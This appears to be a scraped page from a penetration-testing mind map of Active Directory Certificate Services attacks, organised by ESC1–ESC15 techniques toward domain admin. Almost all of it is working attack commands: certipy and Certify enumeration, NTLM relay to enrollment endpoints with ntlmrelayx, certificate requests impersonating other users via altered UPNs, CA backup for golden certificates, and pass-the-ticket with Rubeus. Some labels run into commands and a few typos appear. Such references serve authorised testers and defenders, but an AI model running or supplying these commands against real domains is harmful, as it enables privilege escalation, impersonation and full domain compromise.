← boxes

ADCS box 11 / 17

ADCS

43 cmds

Web enrollementVulnerable templateVulnerable CAMisconfigured ACLVulnerable PKI Object AC

  • certutil certutil -v -dsTemplate
  • certify.exe certify.exe find [ /vulnerable]
  • certipy certipy find -u <user>@<domain> -p <password> -dc-ip <dc_ip>
  • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s <dc_ip> templates
  • Get PKI objects information
    • certify.exe certify.exe pkiobjects
  • Display CA information
    • certutil certutil -TCAInfo
    • certify.exe certify.exe cas

Domain admin

    • ntlmrelayx.py ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController
      • Rubeus.exe Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
      • gettgtpkinit.py gettgtpkinit.py -pfx-base64 $(cat cert.b64) <domain>/<dc_name>$ <ccache_file>
    • certipy certipy relay -target http://<ip_ca>
      • certipy certipy auth -pfx <certificate> -dc-ip <dc_ip>

    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -upn <target_user>@<domain>
    • certify.exe certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>" [/altname:"Admin"]
  • ESC2ESC3
  • ESC3
    • certify.exe certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>"
      • certify.exe certify.exe request request /ca:<server>\<ca-name> /template:<template> /onbehalfof:<domain>\<user> /enrollcert:<path.pfx> [/enrollcertpw:<cert-password>]
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name>
      • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -on-behalf-of '<domain>\<user>' -pfx <cert>
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name>
    • certify.exe certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>"
  • ESC15
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> -upn <target_user>@<domain> --application-policies 'Client Authentication' #[PR 228]Pass the certificate (only Schannel)
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> --application-policies 'Certificate Request Agent' # [PR 228]Pass the certificate
      • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -on-behalf-of '<domain>\<user>' -pfx <cert>

  • ESC4
    • write privilege over a certificate template
      • certipy certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -save-old -debugESC1
      • restore template
        • certipy certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -configuration <template>.json
  • ESC7
    • Manage CA
      • certipy certipy ca -ca <ca_name> -add-officer '<user>' -username <user>@<domain> -password <password> -dc-ip <dc_ip> -target-ip <target_ip>ESC7 Manage certificate
    • Manage certificate
      • certipy certipy ca -ca <ca_name> -enable-template '<ecs1_vuln_template>' -username <user>@<domain> -password <password>
        • certipy certipy req -username <user>@<domain> -password <password> -ca <ca_name> -template '<vulnerable template name>' -upn '<target_user>'
          • error, but save private key and get issue request
      • Issue request
        • certipy certipy ca -u <user>@<domain> -p '<password>' -ca <ca_name> -issue-request <request_id>
          • certipy certipy req -u <user>@<domain> -p '<password>' -ca <ca_name> -retreive <request_id>Pass the certificate

  • ESC5
    • Vulnerable acl on PKIACL
    • Golden certificate
      • certipy certipy ca -backup -u <user>@<domain> -hashes <hash_nt> -ca <ca_name> -debug -target <ca_ip>

  • ESC6cveESC1
    • Abuse ATTRIBUTESUBJECTALTNAME2 flag set on CA you can choose any certificate template that permits client authentication
    • ntlmrelayx.py ntlmrelayx.py -t rpc://<ca_ip> -smb2support -rpc-mode ICPR -icpr-ca-name <ca_name>
      • Rubeus.exe Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
      • gettgtpkinit.py gettgtpkinit.py -pfx-base64 $(cat cert.b64) <domain>/<dc_name>$ <ccache_file>
    • certipy certipy relay -target rpc://<ip_ca> -ca '<ca_name>'
      • certipy certipy auth -pfx <certificate> -dc-ip <dc_ip>

  • ESC9/ESC10 (implicit)
    • certipy certipy shadow auto -username <accountA>@<domain> -p <passA> -account <accountB>
      • ESC9/ESC10 (Case 1)
        • certipy certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn Administratorreset accountB UPN
          • ESC9
            • certipy certipy req -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <vulnerable template>
          • ESC10 (case 1)
            • certipy certipy req -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <any template with client auth>
      • ESC10 (Case 2)
        • certipy certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn '<dc_name$>@<domain>'ESC10 Case1
    • reset accountB UPN
      • certipy certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn <accountB>@<domain>Pass The Certificate
        • [Kerberos Mapping] ESC9/ESC10(Case 1)
        • [Schannel Mapping] ESC9/ESC10 (Case 2)
  • ESC14 (explicit)